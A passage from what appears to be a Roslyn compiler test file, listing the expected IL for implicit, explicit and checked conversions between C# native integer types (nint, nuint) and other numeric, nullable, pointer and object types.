conversions(sourceType: "System.UIntPtr?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "object", destType: "nint?", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""nint?""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nint?", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.IntPtr System.IntPtr.op_Explicit(void*)""
IL_0006: newobj ""nint?..ctor(nint)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nint?", expectedImplicitIL: convToNullableT("conv.u", "nint"), expectedExplicitIL: convToNullableT("conv.u", "nint"));
conversions(sourceType: "sbyte", destType: "nint?", expectedImplicitIL: convToNullableT("conv.i", "nint"), expectedExplicitIL: convToNullableT("conv.i", "nint"));
conversions(sourceType: "byte", destType: "nint?", expectedImplicitIL: convToNullableT("conv.u", "nint"), expectedExplicitIL: convToNullableT("conv.u", "nint"));
conversions(sourceType: "short", destType: "nint?", expectedImplicitIL: convToNullableT("conv.i", "nint"), expectedExplicitIL: convToNullableT("conv.i", "nint"));
conversions(sourceType: "ushort", destType: "nint?", expectedImplicitIL: convToNullableT("conv.u", "nint"), expectedExplicitIL: convToNullableT("conv.u", "nint"));
conversions(sourceType: "int", destType: "nint?", expectedImplicitIL: convToNullableT("conv.i", "nint"), expectedExplicitIL: convToNullableT("conv.i", "nint"));
conversions(sourceType: "uint", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i.un", "nint"));
conversions(sourceType: "long", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i", "nint"));
conversions(sourceType: "ulong", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i.un", "nint"));
conversions(sourceType: "nint", destType: "nint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}");
conversions(sourceType: "nuint", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i.un", "nint"));
conversions(sourceType: "float", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i", "nint"));
conversions(sourceType: "double", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i", "nint"));
conversions(sourceType: "decimal", destType: "nint?", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.i
IL_0007: newobj ""nint?..ctor(nint)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.i
IL_0007: newobj ""nint?..ctor(nint)""
IL_000c: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "bool?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.u", "char", "nint"), expectedExplicitIL: convFromToNullableT("conv.u", "char", "nint"));
conversions(sourceType: "sbyte?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.i", "sbyte", "nint"), expectedExplicitIL: convFromToNullableT("conv.i", "sbyte", "nint"));
conversions(sourceType: "byte?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.u", "byte", "nint"), expectedExplicitIL: convFromToNullableT("conv.u", "byte", "nint"));
conversions(sourceType: "short?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.i", "short", "nint"), expectedExplicitIL: convFromToNullableT("conv.i", "short", "nint"));
conversions(sourceType: "ushort?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.u", "ushort", "nint"), expectedExplicitIL: convFromToNullableT("conv.u", "ushort", "nint"));
conversions(sourceType: "int?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.i", "int", "nint"), expectedExplicitIL: convFromToNullableT("conv.i", "int", "nint"));
conversions(sourceType: "uint?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "uint", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i.un", "uint", "nint"));
conversions(sourceType: "long?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "long", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i", "long", "nint"));
conversions(sourceType: "ulong?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "ulong", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i.un", "ulong", "nint"));
conversions(sourceType: "nint?", destType: "nint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "nuint", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i.un", "nuint", "nint"));
conversions(sourceType: "float?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "float", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i", "float", "nint"));
conversions(sourceType: "double?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "double", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i", "double", "nint"));
conversions(sourceType: "decimal?", destType: "nint?", null,
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""long decimal.op_Explicit(decimal)""
IL_0021: conv.i
IL_0022: newobj ""nint?..ctor(nint)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""long decimal.op_Explicit(decimal)""
IL_0021: conv.ovf.i
IL_0022: newobj ""nint?..ctor(nint)""
IL_0027: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.UIntPtr?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "nint", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""void* System.IntPtr.op_Explicit(System.IntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nint", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "char", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2"));
conversions(sourceType: "nint", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i1"), expectedCheckedIL: conv("conv.ovf.i1"));
conversions(sourceType: "nint", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u1"), expectedCheckedIL: conv("conv.ovf.u1"));
conversions(sourceType: "nint", destType: "short", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i2"), expectedCheckedIL: conv("conv.ovf.i2"));
conversions(sourceType: "nint", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2"));
conversions(sourceType: "nint", destType: "int", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i4"), expectedCheckedIL: conv("conv.ovf.i4"));
conversions(sourceType: "nint", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u4"), expectedCheckedIL: conv("conv.ovf.u4"));
conversions(sourceType: "nint", destType: "long", expectedImplicitIL: conv("conv.i8"), expectedExplicitIL: conv("conv.i8"));
// https://github.com/dotnet/roslyn/issues/42457: Investigate why this conversion (and other conversions from nint to ulong and from nuint to long)
// use differently signed opcodes for unchecked and checked conversions. (Why conv.i8 but conv.ovf.u8 here for instance?)
conversions(sourceType: "nint", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i8"), expectedCheckedIL: conv("conv.ovf.u8"));
conversions(sourceType: "nint", destType: "float", expectedImplicitIL: conv("conv.r4"), expectedExplicitIL: conv("conv.r4"));
conversions(sourceType: "nint", destType: "double", expectedImplicitIL: conv("conv.r8"), expectedExplicitIL: conv("conv.r8"));
conversions(sourceType: "nint", destType: "decimal",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: ret
}");
conversions(sourceType: "nint", destType: "System.IntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nint", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "nint", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "char"), expectedCheckedIL: convToNullableT("conv.ovf.u2", "char"));
conversions(sourceType: "nint", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i1", "sbyte"), expectedCheckedIL: convToNullableT("conv.ovf.i1", "sbyte"));
conversions(sourceType: "nint", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u1", "byte"), expectedCheckedIL: convToNullableT("conv.ovf.u1", "byte"));
conversions(sourceType: "nint", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i2", "short"), expectedCheckedIL: convToNullableT("conv.ovf.i2", "short"));
conversions(sourceType: "nint", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "ushort"), expectedCheckedIL: convToNullableT("conv.ovf.u2", "ushort"));
conversions(sourceType: "nint", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i4", "int"), expectedCheckedIL: convToNullableT("conv.ovf.i4", "int"));
conversions(sourceType: "nint", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u4", "uint"), expectedCheckedIL: convToNullableT("conv.ovf.u4", "uint"));
conversions(sourceType: "nint", destType: "long?", expectedImplicitIL: convToNullableT("conv.i8", "long"), expectedExplicitIL: convToNullableT("conv.i8", "long"));
conversions(sourceType: "nint", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i8", "ulong"), expectedCheckedIL: convToNullableT("conv.ovf.u8", "ulong"));
conversions(sourceType: "nint", destType: "float?", expectedImplicitIL: convToNullableT("conv.r4", "float"), expectedExplicitIL: convToNullableT("conv.r4", "float"), null);
conversions(sourceType: "nint", destType: "double?", expectedImplicitIL: convToNullableT("conv.r8", "double"), expectedExplicitIL: convToNullableT("conv.r8", "double"), null);
conversions(sourceType: "nint", destType: "decimal?",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}");
conversions(sourceType: "nint", destType: "System.IntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nint", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "nint?", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nint?""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nint?""
IL_0006: ret
}");
conversions(sourceType: "nint?", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint?", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: call ""void* System.IntPtr.op_Explicit(System.IntPtr)""
IL_000c: ret
}");
conversions(sourceType: "nint?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2", "nint"));
conversions(sourceType: "nint?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i1", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.i1", "nint"));
conversions(sourceType: "nint?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u1", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u1", "nint"));
conversions(sourceType: "nint?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i2", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.i2", "nint"));
conversions(sourceType: "nint?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2", "nint"));
conversions(sourceType: "nint?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i4", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.i4", "nint"));
conversions(sourceType: "nint?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u4", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u4", "nint"));
conversions(sourceType: "nint?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i8", "nint"));
conversions(sourceType: "nint?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i8", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u8", "nint"));
conversions(sourceType: "nint?", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r4", "nint"));
conversions(sourceType: "nint?", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r8", "nint"));
conversions(sourceType: "nint?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: conv.i8
IL_0008: call ""decimal decimal.op_Implicit(long)""
IL_000d: ret
}");
conversions(sourceType: "nint?", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "nint?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "nint?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nint", "char"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2", "nint", "char"));
conversions(sourceType: "nint?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i1", "nint", "sbyte"), expectedCheckedIL: convFromToNullableT("conv.ovf.i1", "nint", "sbyte"));
conversions(sourceType: "nint?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u1", "nint", "byte"), expectedCheckedIL: convFromToNullableT("conv.ovf.u1", "nint", "byte"));
conversions(sourceType: "nint?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i2", "nint", "short"), expectedCheckedIL: convFromToNullableT("conv.ovf.i2", "nint", "short"));
conversions(sourceType: "nint?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nint", "ushort"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2", "nint", "ushort"));
conversions(sourceType: "nint?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i4", "nint", "int"), expectedCheckedIL: convFromToNullableT("conv.ovf.i4", "nint", "int"));
conversions(sourceType: "nint?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u4", "nint", "uint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u4", "nint", "uint"));
conversions(sourceType: "nint?", destType: "long?", expectedImplicitIL: convFromToNullableT("conv.i8", "nint", "long"), expectedExplicitIL: convFromToNullableT("conv.i8", "nint", "long"));
conversions(sourceType: "nint?", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i8", "nint", "ulong"), expectedCheckedIL: convFromToNullableT("conv.ovf.u8", "nint", "ulong"));
conversions(sourceType: "nint?", destType: "float?", expectedImplicitIL: convFromToNullableT("conv.r4", "nint", "float"), expectedExplicitIL: convFromToNullableT("conv.r4", "nint", "float"), null);
conversions(sourceType: "nint?", destType: "double?", expectedImplicitIL: convFromToNullableT("conv.r8", "nint", "double"), expectedExplicitIL: convFromToNullableT("conv.r8", "nint", "double"), null);
conversions(sourceType: "nint?", destType: "decimal?",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: conv.i8
IL_001d: call ""decimal decimal.op_Implicit(long)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: conv.i8
IL_001d: call ""decimal decimal.op_Implicit(long)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}");
conversions(sourceType: "nint?", destType: "System.IntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nint?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "object", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.UIntPtr System.UIntPtr.op_Explicit(void*)""
IL_0006: ret
}");
conversions(sourceType: "bool", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "sbyte", destType: "nuint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "byte", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "short", destType: "nuint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "ushort", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "int", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "uint", destType: "nuint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "long", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "ulong", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u.un"));
conversions(sourceType: "nint", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "nuint", destType: "nuint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "float", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "double", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.u"));
conversions(sourceType: "decimal", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.u
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.u.un
IL_0007: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "nuint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "bool?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "char"));
conversions(sourceType: "sbyte?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "sbyte"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "sbyte"));
conversions(sourceType: "byte?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "byte"));
conversions(sourceType: "short?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "short"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "short"));
conversions(sourceType: "ushort?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "ushort"));
conversions(sourceType: "int?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "int"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "int"));
conversions(sourceType: "uint?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "uint"));
conversions(sourceType: "long?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "long"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "long"));
conversions(sourceType: "ulong?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "ulong"), expectedCheckedIL: convFromNullableT("conv.ovf.u.un", "ulong"));
conversions(sourceType: "nint?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "nint"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "nint"));
conversions(sourceType: "nuint?", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "float?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "float"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "float"));
conversions(sourceType: "double?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "double"), expectedCheckedIL: convFromNullableT("conv.ovf.u", "double"));
conversions(sourceType: "decimal?", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""ulong decimal.op_Explicit(decimal)""
IL_000c: conv.u
IL_000d: ret
}",
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""ulong decimal.op_Explicit(decimal)""
IL_000c: conv.ovf.u.un
IL_000d: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nuint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "nuint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "object", destType: "nuint?", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""nuint?""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nuint?", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.UIntPtr System.UIntPtr.op_Explicit(void*)""
IL_0006: newobj ""nuint?..ctor(nuint)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "sbyte", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.i", "nuint"), expectedExplicitIL: convToNullableT("conv.i", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "byte", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "short", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.i", "nuint"), expectedExplicitIL: convToNullableT("conv.i", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "ushort", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "int", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
